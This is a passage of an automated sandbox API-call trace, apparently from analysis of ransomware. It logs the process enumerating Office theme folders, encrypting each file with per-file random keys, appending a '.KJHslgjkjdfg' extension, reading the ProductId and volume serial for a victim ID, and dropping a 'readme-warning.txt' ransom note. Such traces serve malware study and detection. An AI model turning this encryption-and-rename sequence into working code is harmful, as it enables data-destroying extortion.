[0176.406] GetProcessHeap () returned 0x2ef0000 [0176.406] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0176.406] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0176.406] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0176.406] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0176.407] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0176.407] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0176.407] GetProcessHeap () returned 0x2ef0000 [0176.407] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0176.407] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0176.407] CryptDestroyKey (hKey=0x2f18308) returned 1 [0176.407] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0176.407] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0176.407] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0176.407] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0176.408] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0176.408] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0176.408] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0176.408] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0176.408] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.408] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x258, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x258, lpOverlapped=0x0) returned 1 [0176.408] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x260, dwBufLen=0x260 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x260) returned 1 [0176.408] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.408] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x260, lpOverlapped=0x0) returned 1 [0176.408] CryptDestroyKey (hKey=0x2f18308) returned 1 [0176.408] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.408] SetEndOfFile (hFile=0x12c) returned 1 [0176.409] GetProcessHeap () returned 0x2ef0000 [0176.409] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0176.409] GetProcessHeap () returned 0x2ef0000 [0176.409] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0176.409] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf.kjhslgjkjdfg")) returned 1 [0176.410] CloseHandle (hObject=0x12c) returned 1 [0176.411] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0176.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0176.411] GetProcessHeap () returned 0x2ef0000 [0176.411] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0176.411] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0176.411] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0176.411] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0176.424] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0176.424] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0176.424] GetProcessHeap () returned 0x2ef0000 [0176.424] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0176.425] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0176.425] CryptDestroyKey (hKey=0x2f18308) returned 1 [0176.425] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0176.425] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0176.425] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0176.425] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0176.425] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0176.425] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0176.425] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0176.425] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0176.425] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.425] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x90f8, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x90f8, lpOverlapped=0x0) returned 1 [0176.427] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x9100, dwBufLen=0x9100 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x9100) returned 1 [0176.427] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.427] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9100, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x9100, lpOverlapped=0x0) returned 1 [0176.428] CryptDestroyKey (hKey=0x2f18308) returned 1 [0176.428] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x91d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.428] SetEndOfFile (hFile=0x12c) returned 1 [0176.431] GetProcessHeap () returned 0x2ef0000 [0176.431] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0176.431] GetProcessHeap () returned 0x2ef0000 [0176.431] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0176.431] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0176.432] CloseHandle (hObject=0x12c) returned 1 [0176.432] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0176.432] GetProcessHeap () returned 0x2ef0000 [0176.432] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0176.433] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0176.433] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0176.433] CryptDestroyKey (hKey=0x2f18308) returned 1 [0176.433] GetProcessHeap () returned 0x2ef0000 [0176.433] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0176.433] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0176.433] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0176.433] CryptDestroyKey (hKey=0x2f18308) returned 1 [0176.433] GetProcessHeap () returned 0x2ef0000 [0176.433] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0176.433] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0176.433] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0176.433] CryptDestroyKey (hKey=0x2f18308) returned 1 [0176.433] GetProcessHeap () returned 0x2ef0000 [0176.433] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0176.433] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0176.433] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0176.433] CryptDestroyKey (hKey=0x2f18308) returned 1 [0176.433] GetProcessHeap () returned 0x2ef0000 [0176.433] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0176.433] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0176.433] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0176.434] CryptDestroyKey (hKey=0x2f18308) returned 1 [0176.434] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0176.434] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0176.434] RegCloseKey (hKey=0x12c) returned 0x0 [0176.434] GetProcessHeap () returned 0x2ef0000 [0176.434] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0176.434] GetProcessHeap () returned 0x2ef0000 [0176.434] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0176.434] GetProcessHeap () returned 0x2ef0000 [0176.434] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0176.434] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0176.434] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0176.434] CryptDestroyKey (hKey=0x2f18308) returned 1 [0176.434] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0176.434] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0176.435] GetProcessHeap () returned 0x2ef0000 [0176.435] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0176.435] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0176.435] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0176.435] GetProcessHeap () returned 0x2ef0000 [0176.435] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0176.435] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\readme-warning.txt") returned 79 [0176.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0176.439] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0176.441] CloseHandle (hObject=0x12c) returned 1 [0176.441] GetProcessHeap () returned 0x2ef0000 [0176.441] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0176.441] GetProcessHeap () returned 0x2ef0000 [0176.441] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0176.441] GetProcessHeap () returned 0x2ef0000 [0176.441] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0176.441] GetProcessHeap () returned 0x2ef0000 [0176.441] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0176.441] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0176.442] GetProcessHeap () returned 0x2ef0000 [0176.442] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0176.442] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0176.442] GetProcessHeap () returned 0x2ef0000 [0176.442] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f425d0 [0176.442] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0177.645] GetProcessHeap () returned 0x2ef0000 [0177.645] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0177.645] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0177.645] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x682, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0177.645] GetProcessHeap () returned 0x2ef0000 [0177.646] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f10788 [0177.646] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0177.647] GetProcessHeap () returned 0x2ef0000 [0177.647] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0177.647] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0177.647] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0177.647] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xe, lpOverlapped=0x0) returned 1 [0177.712] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0177.712] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0177.712] GetProcessHeap () returned 0x2ef0000 [0177.712] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0177.712] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0177.712] CryptDestroyKey (hKey=0x2f18308) returned 1 [0177.712] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0177.712] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0177.713] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0177.713] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0177.713] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0177.713] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0177.713] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0177.713] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, 